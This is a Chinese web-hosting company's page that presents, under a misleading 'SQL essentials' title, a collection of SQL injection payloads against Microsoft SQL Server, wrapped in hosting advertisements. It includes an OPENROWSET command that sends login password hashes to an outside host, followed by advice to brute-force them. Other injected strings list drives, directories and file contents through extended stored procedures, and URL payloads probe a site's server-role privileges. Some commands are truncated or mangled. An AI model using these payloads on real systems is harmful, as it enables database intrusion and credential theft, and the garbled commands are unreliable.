珍藏版的SQL精华程序

2013-1-29 10:38:47   来源:中国信息港   打印本页   关闭窗口  推荐给好友

买空间、服务器、注册域名、网站制作就上中国信息港!(http://www.cncnc.com.cn)

Sql数据库是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言。在使用它时,只需要发出做什么的命 令,怎么做是不用使用者考虑的。sql功能强大、简单易学、使用方便,已经成为了数据库操作的基础,并且现在几乎所有的数据库均支持sql。专职优化、域名注册、网站空间、虚拟主机、服务器托管、vps主机、服务器租用的中国信息港来为你详细介绍!

以下是引用片段:
insert into OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysxlogins’) select * from database.dbo.sysxlogins

得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。

遍历目录的方法:
先创建一个临时表:temp

以下是引用片段:
5’;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5’;insert temp exec master.dbo.xp_availablemedia;--
获得当前所有驱动器
5’;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;--
获得子目录列表

5’;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;--
获得所有子目录的目录树结构,并寸入temp表中

5’;insert into temp(id) exec master.dbo.xp_ ’type c:\web\index.asp’;--
查看某个文件的内容

5’;insert into temp(id) exec master.dbo.xp_ ’dir c:\’;--
5’;insert into temp(id) exec master.dbo.xp_ ’dir c:\ *.asp /s/a’;--
5’;insert into temp(id) exec master.dbo.xp_ ’cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc’
5’;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;--
xp_dirtree适用权限PUBLIC

写入表:

以下是引用片段:
语句1_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--
语句2_blank>http://www.xxxxx.com/down/list.asp?id=1 and 
1=(select IS_SRVROLEMEMBER(’serveradmin’));--
语句3_blank>http://www.xxxxx.com/down/list.asp?id=1 and 
1=(select IS_SRVROLEMEMBER(’setupadmin’));--
语句4_blank>http://www.xxxxx.com/down/list.asp?id=1 and 
1=(select IS_SRVROLEMEMBER(’securityadmin’));--
语句5_blank>http://www.xxxxx.com/down/list.asp?id=1 and 
1=(select IS_SRVROLEMEMBER(’securityadmin’));--
语句6_blank>http://www.xxxxx.com/down/list.asp?id=1 and 
1=(select IS_SRVROLEMEMBER(’diskadmin’));--
语句7_blank>http://www.xxxxx.com/down/list.asp?id=1 and 
1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
语句8_blank>http://www.xxxxx.com/down/list.asp?id=1 and 
1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
语句9_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER(’db_owner’));-- 把路径写到表中去:

以下是引用片段:
_blank>http://www.xxxxx.com/down/list.asp?id=1;create
 table dirs(paths varchar(100), id int)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert
 dirs exec 
master.dbo.xp_dirtree ’c:\’-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1
 and 0<>(select top 1 paths from 
dirs)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1
 and 0<> (select top 1 paths from dirs where paths not 
in(’@Inetpub’))-
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id 
int)--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec 
master.dbo.xp_dirtree ’e:\web’--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<& gt;(select top 1 paths from dirs1)-

      中国信息港提供:虚拟主机,vps主机,网站空间,服务器托管,服务器租用,主机空间,网络虚拟主机,全能虚拟主机,国内虚拟主机,香港虚拟主机,linux虚拟主机,windows虚拟主机,php虚拟主机空间,asp虚拟主机空间, jsp虚拟主机,.net虚拟主机,java虚拟主机,云虚拟主机,云技术架构,多线虚拟主机,最快虚拟主机,论坛虚拟主机,动态虚拟主机,静态虚拟主机, 中国信息港为企业、政府、组织等机构或者个人提供最新最全的虚拟主机资讯。虚拟主机技术是互联网服务器采用的节省服务器硬体成本的技术,中国信息港是中国顶级的虚拟主机服务商,10多年行业服务经验,7×24小时专业技术支持,云技术架构,全新硬件,功能强大的控制面板,资源灵活划分,完美满足各种应用需求!

中国信息港相关介绍 上中国信息港购买数据库

    虚拟主机,是在网络服务器上划分出一定的磁盘空间供用户放置站点、应用组件等,提供必要的站点功能与数据存放、传输功能。数据库虚拟主机就是在虚拟主机上进行一些软硬件的配置,使其专业进行放置数据库的虚拟主机。目前这方面常见的数据库服务器主要有:sql2000,sql2005;sql2008;mysql等。

    数据库正常运行对数据库虚拟主机的日常维护很重要。中国信息港是专业的互联网基础业务运营商,不间断7*24小时全程服务无障碍技术支持:24×7×365制技术支持,微笑面对任何用户。 QQ,MSN在线服务,沟通无障碍。

    我公司采用第六代高级虚拟主机系统、数据双重保护、软硬件/透明防火墙三重保障,SSL加密技术,保证数据安全。独有的千M“黑洞”防DDOS攻击防火墙,全面为您的网站保驾护航!空间域名自由绑定,空间主机及邮件系统可用于任何域名,包括子域名,完善在线管理功能。

   中国信息港是专业从事主要从事:服务器托管、网站建设、域名注册、虚拟主机、企业邮局、海外主机。

    中国信息港虚拟主机优势:

    1、高速六线机房五线互联,实现中国网通、中国电信、中国铁通、中国联通、中国移动的互联互通,使访问顺畅网站 。

    2、完善的数据备份系统系统采用专业备份管理软件,可实现每周一次覆盖备份。用户可实现在线数据恢复工作。

    3、防攻击,防黑客配备专业电信级防火墙,同时配备黑洞 Collapsar设备,可防止各类已知及未知 DoS 攻击及其变种进行防护。

    地址:郑州市农业路东16号省汇中心A座2002室

    售前咨询电话:0371-65707805/65707809  

    全国客服热线:0371-65111123  

    阳光服务热线:155 155 55066

    传  真:0371-65707807

    E-mail:Fxm@cxx.cn

    Q    Q:1495078  714169915 

    网  站:http://www.cncnc.com.cn

    网站建设 域名注册 服务器租用托管 虚拟主机 数据库 企业邮局  海外主机